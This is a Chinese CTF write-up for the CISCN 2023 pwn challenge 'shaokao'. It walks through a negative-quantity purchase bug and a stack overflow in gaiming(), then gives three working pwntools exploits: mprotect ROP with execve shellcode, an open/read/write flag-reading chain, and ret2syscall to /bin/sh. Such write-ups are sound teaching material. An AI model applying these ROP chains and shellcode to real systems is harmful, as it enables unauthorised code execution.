收获

  • 通过 scanf() 输入的数据可以作为溢出点

  • 使用 ret2shellcode(mprotect 修改权限)ORWret2syscall 三种方法 get shell


(2023年5月27日-2023年5月28日)【CISCN 2023】烧烤摊儿


思路一 (mprotect)

分析程序:

CISCN2023-烧烤摊儿1.png

开启了金丝雀和栈不可执行

根据程序运行时的输出,在 IDA 下分析:

CISCN2023-烧烤摊儿2.png

其中,目录 menu() 的输出为:

CISCN2023-烧烤摊儿3.png

查看各个目录项的功能:
pijiu()

CISCN2023-烧烤摊儿4.png

chuan()

CISCN2023-烧烤摊儿5.png

yue()

CISCN2023-烧烤摊儿6.png

vip()

CISCN2023-烧烤摊儿7.png

gaiming()

CISCN2023-烧烤摊儿8.png

发现在 gaiming() 函数中,有将用户的输入 v5 赋值给全局变量 name 的操作
同时没有对 v5 的长度进行限制,存在栈溢出漏洞

需覆盖 0x28 个数据到达返回地址处:

CISCN2023-烧烤摊儿15.png

跟进发现全局变量 name 在 .data 段上:

CISCN2023-烧烤摊儿9.png

于是考虑将 shellcode 写到这里

用 gdb 查看权限:

CISCN2023-烧烤摊儿10.png

全局变量 name 的地址 0x4E60F00x4e6000 ~ 0x4e9000 之间,Perm 为 rw-p 没有执行权限
但考虑到程序中有 mprotect() 函数:

CISCN2023-烧烤摊儿11.png

可以用 mprotect() 函数为该段地址增加执行权限

CISCN2023-烧烤摊儿12.png

mprotect() 函数的起始地址为 0x458b00

使用 ROPgadget --binary shaokao --only 'pop|ret' | grep 'pop' 搜索可利用的 ROP:

CISCN2023-烧烤摊儿13.png

mprotect() 需要三个参数,分别是:
rdi:要修改的内存页首地址 (我这里将 0x4e6000 ~ 0x4e9000 这段地址全部改为 rwx 权限)
rsi:要修改的内存页大小 (我这里段长度为 0x3000)
rdx:要修改的权限 (其中 r : 4,w : 2,x : 1,因此 rwx 为 4 + 2 + 1 = 7)

同时,获取返回地址 ret 的地址:

CISCN2023-烧烤摊儿14.png

经过分析可知,要想执行 gaiming() 中的栈溢出漏洞,首先要让 own = 1,只有在 vip() 中可以修改 own 的值为 1

首先需要买下摊位,要求余额 money > 100000,而 money 的初始值为 233
发现在购买逻辑中存在漏洞:

CISCN2023-烧烤摊儿17.png

v9 为负数时,可以让 money 增长,超过 100000 即可

因此,思路如下:
① 首先通过购买的逻辑漏洞使余额 money > 100000,买下摊位,进入 gaiming() 函数
② 然后利用 mprotect() 函数给 name 所在的 .data 段增加执行权限
③ 最后通过 j_strcpy_ifunc(&name, v5)name 中写入 shellcode,并溢出 v5 执行 shellcode


脚本一

from pwn import *

context(os='linux', arch='amd64', log_level='debug')  # 打印调试信息
content = 1  # 本地Pwn通之后,将content改成0,Pwn远程端口

if content == 1:
    io = process("/home/wyy/桌面/PWN/shaokao")  # 程序路径
else:
    io = remote("39.107.137.13", 20341)  # 题目的远程端口

elf = ELF("/home/wyy/桌面/PWN/shaokao")

name_addr = 0x4E60F0
pop_rdi_addr = 0x40264f
pop_rsi_addr = 0x40a67e
pop_rdx_rbx_addr = 0x4a404b
ret_addr = 0x40101a
mprotect_addr = elf.symbols['mprotect']  # 0x458b00
main_addr = elf.symbols['main']  # 0x401B45

io.sendline("1")
io.sendline("1")
io.sendline("-100000000")
io.sendline("4")
io.sendline("5")

payload = b'a' * 0x28
payload += p64(pop_rdi_addr) + p64(0x4E6000) + p64(pop_rsi_addr) + p64(0x3000) + p64(pop_rdx_rbx_addr) + p64(0x7) + p64(0)  # 布置mprotect()函数的参数
payload += p64(mprotect_addr) + p64(ret_addr) + p64(main_addr)  # 跳转到mprotect()函数后返回到main()函数
io.sendline(payload)

io.sendline("1")
io.sendline("1")
io.sendline("-100000000")
io.sendline("4")
io.sendline("5")

shellcode = b'\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05'
payload = shellcode.ljust(0x28, b'a')  # 补齐0x28个填充数据到达返回地址处
payload += p64(name_addr)  # 跳转到shellcode处执行
io.sendline(payload)

io.interactive()

结果一

CISCN2023-烧烤摊儿16.png


思路二 (ORW)

在思路一中买下摊位执行 gaiming() 函数后
由于程序中包含 open64()read()write() 函数
因此还可以利用 v5 的溢出使用 ORW 读出 flag

确定 ORW 三个函数的地址:

CISCN2023-烧烤摊儿18.png

CISCN2023-烧烤摊儿19.png

CISCN2023-烧烤摊儿20.png

函数地址
open64()0x457C90
read()0x457DC0
write()0x457E60

首先需要通过 j_strcpy_ifunc(&name, v5)name 中写入 b'./flag\x00\x00',并将 b'./flag\x00\x00' 作为 open64() 函数的参数,构造 open(b'./flag\x00\x00', 0) 用于打开当前目录下名为 flag 的文件,其中 0 表示只读方式打开

然后构造 read(3, name_addr, 0x50) 将 flag 内容写入到 name 的地址处,再通过构造 write(1, name_addr, 0x50) 将 flag 内容从 name 的地址处输出到终端


脚本二

from pwn import *

context(os='linux', arch='amd64', log_level='debug')  # 打印调试信息
content = 1  # 本地Pwn通之后,将content改成0,Pwn远程端口

if content == 1:
    io = process("/home/wyy/桌面/PWN/shaokao")  # 程序路径
else:
    io = remote("39.107.137.13", 20341)  # 题目的远程端口

elf = ELF("/home/wyy/桌面/PWN/shaokao")

open64_addr = 0x457C90
read_addr = 0x457DC0
write_addr = 0x457E60
name_addr = 0x4E60F0
pop_rdi_addr = 0x40264f
pop_rsi_addr = 0x40a67e
pop_rdx_rbx_addr = 0x4a404b

io.sendline("1")
io.sendline("1")
io.sendline("-100000000")
io.sendline("4")
io.sendline("5")

# open(b'./flag\x00\x00', 0)
ORW = p64(pop_rdi_addr) + p64(name_addr) + p64(pop_rsi_addr) + p64(0) + p64(open64_addr)
# read(3, name_addr, 0x50)
ORW += p64(pop_rdi_addr) + p64(3) + p64(pop_rsi_addr) + p64(name_addr) + p64(pop_rdx_rbx_addr) + p64(0x50) + p64(0) + p64(read_addr)
# write(1, name_addr, 0x50)
ORW += p64(pop_rdi_addr) + p64(1) + p64(pop_rsi_addr) + p64(name_addr) + p64(pop_rdx_rbx_addr) + p64(0x50) + p64(0) + p64(write_addr)

payload = b'./flag\x00\x00'.ljust(0x28, b'a')  # 向 name_addr 处填入b'./flag\x00\x00' 并补齐 8 字节,将长度填充到 0x28 至返回地址处
payload += ORW
io.sendline(payload)

io.interactive()

结果二

CISCN2023-烧烤摊儿21.png


思路三 (ret2syscall)

在思路一中买下摊位执行 gaiming() 函数后
由于程序没有给出 libc 文件,并且可以向 name 所在的 .data 段写入数据
因此可以考虑向 .data 段上写入 "/bin/sh"

但程序中没有 system() 函数,可以考虑使用 ret2syscall 构造 execve("/bin/sh", NULL, NULL) 来 get shell

首先确定程序中存在 pop rax ; ret

CISCN2023-烧烤摊儿22.png

还要存在 syscall

CISCN2023-烧烤摊儿23.png

首先需要通过 j_strcpy_ifunc(&name, v5)name 中写入 b'/bin/sh\x00',并溢出 v5 构造 execve("/bin/sh", NULL, NULL) 执行

注意这里是将 b'/bin/sh\x00' 写入到 name,所以只能一次性 get shell

如果分两次的话,例如:第一次写入 b'/bin/sh\x00',第二次执行 execve("/bin/sh", NULL, NULL),则在第二次中执行 j_strcpy_ifunc(&name, v5) 又会将 name 覆盖掉,导致 get shell 失败


脚本三

from pwn import *

context(os='linux', arch='amd64', log_level='debug')  # 打印调试信息
content = 1  # 本地Pwn通之后,将content改成0,Pwn远程端口

if content == 1:
    io = process("/home/wyy/桌面/PWN/shaokao")  # 程序路径
else:
    io = remote("39.107.137.13", 20341)  # 题目的远程端口

elf = ELF("/home/wyy/桌面/PWN/shaokao")

name_addr = 0x4E60F0
pop_rdi_addr = 0x40264f
pop_rsi_addr = 0x40a67e
pop_rdx_rbx_addr = 0x4a404b
pop_rax_addr = 0x458827
syscall_addr = 0x402404

io.sendline("1")
io.sendline("1")
io.sendline("-100000000")
io.sendline("4")
io.sendline("5")

payload = b'/bin/sh\x00'.ljust(0x28, b'a')
payload += p64(pop_rax_addr) + p64(0x3b)
payload += p64(pop_rdi_addr) + p64(name_addr)
payload += p64(pop_rsi_addr) + p64(0)
payload += p64(pop_rdx_rbx_addr) + p64(0) + p64(0)
payload += p64(syscall_addr)
io.sendline(payload)

io.interactive()

结果三

CISCN2023-烧烤摊儿24.png